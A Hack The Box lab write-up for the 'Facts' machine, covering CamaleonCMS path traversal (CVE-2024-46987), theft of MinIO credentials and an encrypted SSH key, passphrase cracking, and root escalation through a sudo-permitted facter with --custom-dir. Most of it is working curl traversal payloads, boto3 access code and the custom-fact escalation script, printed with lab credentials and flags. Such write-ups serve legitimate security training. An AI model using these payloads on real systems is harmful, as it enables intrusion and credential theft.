Facts
Exploited CamaleonCMS path traversal (CVE-2024-46987) to extract MinIO credentials and an encrypted SSH key, then escalated via sudo facter --custom-dir to root.
contents

Facts – HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Facts |
| IP | 10.129.2.229 |
| OS | Linux (Ubuntu 25.04) |
| Difficulty | Medium |
| Key Topics | CamaleonCMS CVEs, Path Traversal (LFI), MinIO S3, SSH Key Extraction, Facter Sudo Abuse |
Overview#
Facts was a Linux machine running CamaleonCMS 2.9.0 on Ruby on Rails, backed by MinIO S3 object storage. Initial access was achieved through open user registration on the CMS, followed by exploitation of CVE-2024-46987 (path traversal) to read arbitrary files – including the production database containing MinIO credentials. Those credentials exposed a private MinIO bucket containing an encrypted SSH key for the trivia user, whose passphrase was crackable with rockyou.txt. Privilege escalation leveraged a sudo-permitted /usr/bin/facter binary with --custom-dir to execute arbitrary Ruby code as root.
Reconnaissance#
Port Scanning#
A full TCP port scan with nmap revealed three open services:
nmap -sC -sV -p- --min-rate 5000 10.129.2.229
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3 (Ubuntu)
54321/tcp open http MinIO (Golang net/http)
A UDP scan of the top 100 ports returned no open services.
The HTTP service on port 80 redirected to http://facts.htb/, confirming a virtual-host-based setup. The hostname was added to /etc/hosts.
Port 54321 was identified as a MinIO S3-compatible API endpoint. It referenced a MinIO Console on port 9001, but that port was not externally accessible.
Technology Fingerprinting#
whatweb identified the web application as a Ruby on Rails app with a _factsapp_session cookie (Rails-style encrypted session). The CMS was identified as CamaleonCMS from its asset paths (/assets/themes/camaleon_first/).
Enumeration#
Web Application (Port 80 – CamaleonCMS)#
The CMS was a trivia/fun-facts website. Key endpoints discovered:
| Endpoint | Purpose |
|---|---|
/admin/login | CamaleonCMS admin login |
/admin/register | Open user registration (with image CAPTCHA) |
/admin/dashboard | Admin dashboard (version: CamaleonCMS 2.9.0) |
/admin/media/upload | Media file upload (files stored in MinIO) |
/admin/media/download_private_file | Private file download – vulnerable to path traversal |
/sitemap.xml | Sitemap with 21 content pages |
Default credentials (admin/admin) did not work on the admin login.
A searchsploit query returned two local exploits for CamaleonCMS:
- CVE-2023-30145: SSTI via
formatsparameter in/admin/media/upload(affects <= 2.7.0) - CVE-2024-46986: Arbitrary file write via
folderparameter (affects < 2.8.2) - CVE-2024-46987: Path traversal in
download_private_file(affects < 2.8.2)
Online research also revealed CVE-2025-2304: a mass assignment vulnerability in the updated_ajax endpoint allowing privilege escalation from client to admin role.
MinIO (Port 54321)#
The randomfacts bucket had anonymous read/list access, containing CMS image assets. Other bucket names could not be enumerated without credentials (all returned 403 AccessDenied).
CVE-2023-28432 (MinIO info disclosure via /minio/bootstrap/v1/verify) was tested but returned an empty response – the deployment appeared to be standalone, not clustered.
Exploitation – User Flag#
Step 1: Register an Account on CamaleonCMS#
The CMS had open user registration at /admin/register, protected by an image CAPTCHA. The CAPTCHA was a 5-character alphanumeric string rendered as a JPEG at /captcha?len=5&t=<timestamp>. The CAPTCHA image was downloaded and read visually to solve it. An account was registered successfully, receiving the client role with limited admin panel access.
Step 2: CVE-2024-46987 – Path Traversal (Arbitrary File Read)#
With an authenticated session, the download_private_file endpoint was tested for path traversal:
curl -b cookies "http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd"
This returned the full contents of /etc/passwd, confirming the vulnerability. Two human users were identified:
trivia(uid 1000, home:/home/trivia)william(uid 1001, home:/home/william)
The user flag was read directly via the path traversal:
curl -b cookies "http://facts.htb/admin/media/download_private_file?file=../../../../../../home/william/user.txt"
User Flag: 09bf091805c0652a30abc1e82267f22a
Step 3: Credential Harvesting via LFI#
The path traversal was used to extract several sensitive files from the server:
Rails database configuration (config/database.yml) revealed the production database was SQLite3 at storage/production.sqlite3. The full database (1.5 MB) was downloaded:
curl -b cookies "http://facts.htb/admin/media/download_private_file?file=../../../../../../proc/self/cwd/storage/production.sqlite3" -o production.sqlite3
From the database, the following were extracted:
- Admin bcrypt hash:
$2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK - MinIO S3 credentials (from
cama_metastable):- Access Key:
AKIA17DF21F7673B5484 - Secret Key:
w3YG1g5DEGBIy0A/XcMm4EYZR59LKd/FQT0KQidA - Endpoint:
http://localhost:54321 - Bucket:
randomfacts
- Access Key:
The Rails master key was also read:
curl -b cookies "http://facts.htb/admin/media/download_private_file?file=../../../../../../proc/self/cwd/config/master.key"
Result: b0650437b2208a9fab449fb92f67bc40
Decrypting credentials.yml.enc with the master key yielded the secret_key_base but no additional service credentials.
Step 4: MinIO Bucket Enumeration with Credentials#
Using the extracted MinIO credentials via Python’s boto3 library:
import boto3
s3 = boto3.client('s3',
endpoint_url='http://10.129.2.229:54321',
aws_access_key_id='AKIA17DF21F7673B5484',
aws_secret_access_key='w3YG1g5DEGBIy0A/XcMm4EYZR59LKd/FQT0KQidA')
s3.list_buckets()
Two buckets were found:
randomfacts– public images (already known)internal– private bucket, previously inaccessible
Listing the internal bucket revealed a home directory backup:
.bash_logout, .bashrc, .profile, .lesshst
.cache/motd.legal-displayed
.ssh/authorized_keys (82 bytes)
.ssh/id_ed25519 (464 bytes)
Step 5: SSH Key Recovery and Cracking#
The SSH private key was downloaded from the internal bucket. It was an encrypted ed25519 key with the comment trivia@facts.htb:
-----BEGIN OPENSSH PRIVATE KEY-----
(encrypted with aes256-ctr/bcrypt passphrase)
-----END OPENSSH PRIVATE KEY-----
The passphrase was cracked using john:
ssh2john id_ed25519 > ssh_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt
Result: dragonballz
Step 6: SSH Access as trivia#
ssh -i id_ed25519 trivia@10.129.2.229
# Passphrase: dragonballz
trivia@facts:~$ whoami
trivia
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
Privilege Escalation – Root Flag#
Enumeration#
Checking sudo permissions for the trivia user:
trivia@facts:~$ sudo -l
(ALL) NOPASSWD: /usr/bin/facter
The user could run /usr/bin/facter as root without a password. Facter is a Puppet tool that collects system facts, and it supports loading custom facts from Ruby files.
Exploitation via Custom Facter Fact#
The FACTERLIB environment variable (typically used to specify custom fact directories) was blocked by sudo’s env_reset policy. However, Facter’s --custom-dir CLI flag provided the same functionality and was not restricted.
A custom Ruby fact was created:
mkdir -p /tmp/facts
cat > /tmp/facts/exploit.rb << 'EOF'
Facter.add(:exploit) do
setcode do
Facter::Core::Execution.execute("cat /root/root.txt")
end
end
EOF
The fact was executed via sudo:
sudo /usr/bin/facter --custom-dir /tmp/facts exploit
Output:
dfc4aa8e3ba88a6a63190b08d7eec8be
Root Flag: dfc4aa8e3ba88a6a63190b08d7eec8be
Obstacles & Lessons Learned#
CVE-2023-30145 (SSTI) Was Patched#
The initial attack plan prioritised CVE-2023-30145 (SSTI via the formats parameter in media upload), but CamaleonCMS 2.9.0 had patched this vulnerability – ERB template tags were HTML-escaped in the response. This was identified quickly and the approach shifted to CVE-2024-46987 (path traversal).
CAPTCHA on Registration#
The open registration required solving an image CAPTCHA, which needed visual inspection. This was a minor friction point but did not block exploitation since the CAPTCHA was a simple alphanumeric string.
FACTERLIB Environment Variable Blocked#
The initial privilege escalation attempt using FACTERLIB=/tmp/facts sudo facter failed because sudo’s env_reset policy stripped the environment variable. The successful bypass was using --custom-dir as a CLI argument instead, which sudo did not filter.
SSH Rate Limiting#
SSH connections intermittently returned “Not allowed at this time” errors, suggesting time-based or rate-based access controls. This was handled by retrying connections.
CVE-2025-2304 Mass Assignment#
An additional vulnerability (CVE-2025-2304) was confirmed working, allowing privilege escalation from client to admin role within CamaleonCMS via mass assignment in the updated_ajax endpoint. While this was useful for gaining full admin panel access, it was not strictly necessary for the attack chain since the path traversal (CVE-2024-46987) worked from a basic client account.
Path from User Flag to Shell#
The user flag (/home/william/user.txt) was readable via the LFI vulnerability because the Rails application ran with sufficient filesystem permissions. However, the actual shell access was obtained as the trivia user (not william), via an SSH key found in the MinIO internal bucket. This indirect path – from web application LFI to database credentials to MinIO access to SSH key recovery – was the intended chain.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | TCP/UDP port scanning and service version detection |
| whatweb | Web technology fingerprinting |
| curl | HTTP requests and LFI exploitation |
| ffuf | Virtual host / subdomain enumeration |
| searchsploit | Local exploit database search |
| Python3 (requests) | Web application automation, CAPTCHA solving workflow |
| Python3 (boto3) | MinIO S3 API access (bucket listing, file download) |
| sqlite3 | Production database analysis and credential extraction |
| ssh2john | SSH private key hash extraction for cracking |
| john | SSH key passphrase cracking (rockyou.txt) |
| ssh | Remote shell access as trivia |
| facter | Privilege escalation via custom Ruby fact (sudo) |